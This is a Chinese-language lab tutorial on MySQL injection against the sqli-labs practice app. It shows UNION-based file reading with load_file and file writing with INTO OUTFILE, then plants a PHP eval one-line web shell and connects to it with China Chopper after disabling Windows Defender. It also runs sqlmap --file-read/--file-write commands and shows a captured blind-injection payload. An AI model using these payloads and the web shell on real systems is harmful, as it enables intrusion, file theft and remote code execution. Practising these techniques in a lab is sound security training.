目录

  • mysql注入读文件
  • mysql注入写文件
  • 写入WebShell
  • Sqlmap安全测试
  • 疑惑

mysql注入读文件

mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以对文件进行读写(前提是权限足够)

读取前提:

  1. 用户权限足够高,尽量具有root权限
  2. secure_file_priv 不为NULL

secure_file_priv是用来限制load data,select...outfile,and load_file()传到哪个指定目录的

  • secure_file_priv的值为null,表示限制mysqld不允许导入/导出
  • secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
  • secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制

打开phpstudy的mysql-ini的配置文件

在[mysqld]指令块后添加

default-storage-engine=MyISAM
#支持 INNODB 引擎模式。修改为 default-storage-engine=INNODB 即可。
#如果 INNODB 模式如果不能启动,删除data目录下ib开头的日志文件重新启动。
#添加secure_file_priv
secure_file_priv=
#添加secure_file_priv
sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

重启mysql服务,查询全局变量

show global variables like "secure_file_priv"\G
*************************** 1. row ***************************
Variable_name: secure_file_priv
        Value:
1 row in set (0.00 sec)

mysql读文件

在C盘根目录下创建mysql.txt,写入一些数据

select load_file("c:\\mysql.txt")\G
*************************** 1. row ***************************
load_file("c:\\mysql.txt"): mysql+php+redis
linux+nginx+tomcat

1 row in set (0.00 sec)

-- 对于不存在的文件返回NULL
select load_file("c:\\mysql.txtt")\G
*************************** 1. row ***************************
load_file("c:\\mysql.txtt"): NULL
1 row in set (0.00 sec)

进入Less1,基于web的读文件

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 
<!-- 对错误结果分析 '1'' LIMIT 0,1--> 
存在单引号注入漏洞
<!--检查字段数量 在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1%27 order by 3 --+
<!--表中存在3个字段-->
Your Login name:Dumb
Your Password:Dumb
<!--使用用联合查询并将id的参数值改为负数,利用报错机制修改显示结果 在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=-1%27 union select 1,2,3 --+
<!--显示如下-->
Your Login name:2
Your Password:3
<!--读取文件 在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=-1%27 union select 1,load_file("c:\\mysql.txt"),3 --+
<!--显示如下,文件内容被读取-->
Your Login name:mysql+php+redis linux+nginx+tomcat
Your Password:3

mysql注入写文件

mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以对文件进行读写(前提是权限足够),下面介绍写文件

开启general_log

--检查general_log
show variables like 'general_log'\G
*************************** 1. row ***************************
Variable_name: general_log
        Value: OFF
1 row in set (0.00 sec)

--修改general_log
set global general_log = on;
Query OK, 0 rows affected (0.01 sec)

--检查general_log
show variables like 'general_log'\G
*************************** 1. row ***************************
Variable_name: general_log
        Value: ON
1 row in set (0.00 sec)

写入文件

进入Less7

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=1
<!--显示如下-->
 You are in.... Use outfile......
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=1'
<!--显示报错,也没有报错详细信息,但可以确定我们破坏了原本的Sql语句,多次测试后-->
 You have an error in your SQL syntax 
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=1'))+--+
<!--显示如下,表明sql执行成功了-->
 You are in.... Use outfile......
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=-1'))+union select 1,2,3--+
<!--显示如下,表明联合查询的sql也执行成功了-->
  You are in.... Use outfile......
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=-1'))+union select 1,'<?php phpinfo();?>',3+into+outfile+'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php'--+
<!--显示如下,返回错误.但不知道文件是否写入成功-->
 You have an error in your SQL syntax 
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/1.php
<!--查看源代码-->
1	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
...
</div></body></html>	3

文件被写入到系统中,且可被执行

写入WebShell

写入一句话木马,<?php @eval($_POST['x']);?>.再使用中国菜刀连接

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-7/?id=-1'))+union+select+1,%27%3C?php+@eval($_POST[%22x%22]);%20?%3E%27,3+into+outfile+'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.php'+--+
<!--显示如下,返回错误.但不知道文件是否写入成功-->
You have an error in your SQL syntax
<!--访问上传文件-->
http://127.0.0.1/sqli/Less-7/2.php
<!--显示如下-->
1 3

在线查询ascii

ascii

url

%3C

<

%22

"

%3E

>

下载中国菜刀解压即可,为了本地安全,建议将其他解压到虚拟机中

如果操作系统为win10,为了保护上传的2.php不被系统自动删除,需要关闭病毒与实时防护功能,关闭步骤

打开 Windows Defender 安全中心——病毒和威胁防护——病毒和威胁防护设置——在右边关闭。

在虚拟机中打开中国菜刀,选择一个条目,右键添加,写入 http://ip/sqli/Less-7/2.php,右上角写入参数,这里设置的参数值是x(小写字母),默认类别不变,选择php(Eval),windows系统中选择GB2312,Linux选择UTF-8,点击添加

双击添加的条目,就会将系统所有的目录打印出来,并且可以实现上传下载

Sqlmap安全测试

sqlmap 安全测试 利用sqlmap进行读写文件

利用sqlmap -hh 查看详细的帮助信息,查看文件相关信息

File system access(文件系统访问):
These options can be used to access the back-end database management system underlying file system
这些选项可用于访问后台数据库管理系统底层文件系统

--file-read=FILE..  Read a file from the back-end DBMS file system #从后端DBMS文件系统读取文件
--file-write=FIL..  Write a local file on the back-end DBMS file system #在后端DBMS文件系统上写入本地文件
--file-dest=FILE..  Back-end DBMS absolute filepath to write to #后端DBMS绝对文件路径

使用sqlmap读取文件

打开sqlmap快捷方式

<!--命令行中执行-->
python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-read "c:\mysql.txt" --batch
<!--在输出结果查看到如下输出-->
the local file 'C:\Users\root\AppData\Local\sqlmap\output\127.0.0.1\files\c__mysql.txt' and the remote file 'c:/mysql.txt' have the same size (37 B)
files saved to [1]:
<!--在命令行中键入 type path-->
type C:\Users\root\AppData\Local\sqlmap\output\127.0.0.1\files\c__mysql.txt
<!--输出文件内容-->
mysql+php+redis
linux+nginx+tomcat

使用sqlmap写入文件

<!--执行命令-->
python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-write="C:\2.php" --file-dest="C:\3.php" --batch

python sqlmap.py -u "http://127.0.0.1/sqli/Less-7/?id=1" --file-write="C:\mysql.txt" --file-dest="C:\phpStudy\PHPTutorial\WWW\sqli\Less-7\mysql2.txt" --batch
<!--产生告警信息-->
it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
看起来文件并没有写入(通常是因为数据库系统用户没有写入远端路径的权限)
<!--但我还是想要写入数据-->
未解决

过了一天,实在解决不掉,寻求多个同事帮助,提出使用Burpsuite抓包

确实问题解决了,需要说明几点

  1. 使用局域网ip,不要使用127.0.0.1
  2. sqlmap配置代理选项,在配置文件中设置,但未生效,就使用--proxy选项
<!--执行命令-->
python sqlmap.py -u "http://192.168.8.101/sqli/Less-7/?id=1" --file-read "c:\mysql.txt" --batch --proxy="http://127.0.0.1:8080"

python sqlmap.py -u "http://192.168.8.101/sqli/Less-7/?id=1" --file-write="C:\\mysql.txt" --file-dest="C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\mysql2.txt" --batch --proxy="http://127.0.0.1:8080"

使用Burpsuite抓包

-- 抓取url编码
%2fsqli%2fLess-7%2f%3fid%3d1%27)+AND+(SELECT+9914+FROM+(SELECT(SLEEP(4-(IF(ORD(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x433a2f706870537475647**5048505475746f7269616c2f5757572f73716c6**4c6573732d372f6d7973716c322e747874))+AS+NCHAR)%2c0x20))%2c1%2c1))%3e51%2c0%2c4)))))djGm)+AND+(%27sYay%27%3d%27sYay+
-- 解码后
/sqli/Less-7/?id=1') AND (SELECT 9914 FROM (SELECT(SLEEP(4-(IF(ORD(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x433a2f706870537475647**5048505475746f7269616c2f5757572f73716c6**4c6573732d372f6d7973716c322e747874)) AS NCHAR),0x20)),1,1))>51,0,4)))))djGm) AND ('sYay'='sYay

已经看到sqlmap很努力在破解了,但似乎它的方向,不是我预想的。后面将这个编码发送到Repater,对url重新编辑,将原先在hackbar中执行的语句替换,重新执行,文件被写入了

疑惑

虽然以这种方式处理了问题,但是还有很多疑惑没有解开

sqlmap虽然强大,但并不智能

  1. 为什么无法使用sqlmap上传文件,并且报错还说数据库没有权限?
  2. 为什么sqlmap配置文件中代理的配置,并不会生效
  3. sqlmap的--fiile-write,在运行过程中有没有被加载
  4. 为什么无法代理127.0.0.1:8080的端口转发,而需要使用局域网ip